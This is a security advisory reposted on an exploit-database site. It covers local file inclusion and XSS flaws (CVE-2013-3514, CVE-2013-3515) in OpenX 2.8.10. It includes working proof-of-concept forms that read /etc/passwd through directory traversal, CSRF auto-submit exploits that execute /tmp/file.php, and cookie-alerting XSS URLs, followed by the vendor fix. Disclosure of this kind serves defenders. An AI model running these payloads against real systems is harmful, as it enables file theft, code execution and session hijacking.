0day.today - Biggest Exploit Database in the World.
Things you should know about 0day.today:
Administration of this site uses the official contacts. Beware of impostors!
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!
Please, beware of scammers!
Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
OpenX 2.8.10 Cross Site Scripting / Local File Inclusion Vulnerabilities
Author
Risk
[
Security Risk Medium
]0day-ID
Category
Date add
CVE
Platform
Vendor: OpenX Vulnerable Version(s): 2.8.10 and probably prior Tested Version: 2.8.10 Vendor Notification: May 8, 2013 Vendor Patch: June 28, 2013 Public Disclosure: July 3, 2013 Vulnerability Type: PHP File Inclusion [CWE-98], Cross-Site Scripting [CWE-79] CVE References: CVE-2013-3514, CVE-2013-3515 Risk Level: High CVSSv2 Base Scores: 7.6 (AV:N/AC:H/Au:N/C:C/I:C/A:C), 2.6 (AV:N/AC:H/Au:N/C:N/I:P/A:N) Solution Status: Fixed by Vendor Discovered and Provided: High-Tech Bridge Security Research Lab ( https://www.htbridge.com/advisory/ ) ----------------------------------------------------------------------------------------------- Advisory Details: High-Tech Bridge Security Research Lab discovered multiple vulnerabilities in OpenX, which can be exploited to execute arbitrary PHP code, perform Cross-Site Scripting (XSS) attacks and compromise vulnerable system. 1) Local File Inclusion in OpenX: CVE-2013-3514 Input passed via "group" HTTP GET parameter to "/www/admin/plugin-preferences.php" and "/www/admin/plugin-settings.php" scripts is not properly verified before being used in PHP 'include()' function and can be exploited to include arbitrary local files via directory traversal sequences and URL-encoded NULL byte techniques: The following PoC (Proof-of-Concept) code display contents of "/etc/passwd" file on vulnerable system using vulnerability in the first script: <form action="http://[host]/www/admin/plugin-preferences.php?group=../../../../../etc/passwd%00" method="post" name="main"> <input type="hidden" name="submitok" value="true"> <input type="submit" id="btn"> </form> The second PoC code displays content of "/etc/passwd" file on vulnerable system using vulnerability in the second script: <form action="http://[host]/www/admin/plugin-settings.php?group=../../../../../etc/passwd%00" method="post" name="main"> <input type="hidden" name="submitok" value="true"> <input type="submit" id="btn"> </form> Successful exploitation of these vulnerabilities requires administrative privileges, however they can also be exploited by a remote non-authenticated attacker via CSRF vector, since the application is prone to Cross-Site Request Forgery (CSRF) attacks. In order to do so an attacker should trick logged-in OpenX administrator to open a specially crafted web page with CSRF exploit code. Simple CSRF exploit below for the first vulnerability includes and executes "/tmp/file.php" script: <form action="http://[host]/www/admin/plugin-preferences.php?group=../../../../../tmp/file.php%00" method="post" name="main"> <input type="hidden" name="submitok" value="true"> <input type="submit" id="btn"> </form> <script> document.main.submit(); </script> Simple CSRF exploit below for the second vulnerability includes and executes "/tmp/file.php" script: <form action="http://[host]/www/admin/plugin-settings.php?group=../../../../../tmp/file.php%00" method="post" name="main"> <input type="hidden" name="submitok" value="true"> <input type="submit" id="btn"> </form> <script> document.main.submit(); </script> 2) Cross-Site Scripting (XSS) in OpenX: CVE-2013-3515 2.1 The vulnerability exists due to insufficient filtration of user-supplied data in "package" HTTP GET parameter passed to "/www/admin/plugin-index.php" script. A remote attacker can trick a logged-in administrator to open a specially crafted link and execute arbitrary HTML and script code in his browser in context of the vulnerable website. The exploitation example below uses the "alert()" JavaScript function to display administrator's cookies: http://[host]/www/admin/plugin-index.php?action=disable&package=%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E 2.2 The vulnerability exists due to insufficient filtration of user-supplied data in "group" HTTP GET parameter passed to "/www/admin/plugin-settings.php" script. A remote attacker can trick a logged-in administrator to open a specially crafted link and execute arbitrary HTML and script code in his browser in context of the vulnerable website. The exploitation example below uses the "alert()" JavaScript function to display administrator's cookies: http://[host]/www/admin/plugin-settings.php?group=%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E ----------------------------------------------------------------------------------------------- Solution: Fixed by Vendor in SVN repository, revision 82710. Replace the following files: [CWE-98] https://svn.openx.org/openx/trunk/www/admin/plugin-preferences.php [CWE-79] https://svn.openx.org/openx/trunk/www/admin/plugin-index.php [CWE-79] https://svn.openx.org/openx/trunk/www/admin/plugin-settings.php A diff file is available here: https://www.htbridge.com/advisory/HTB23155-openx-changeset-82710.diff # 0day.today [2024-10-05] #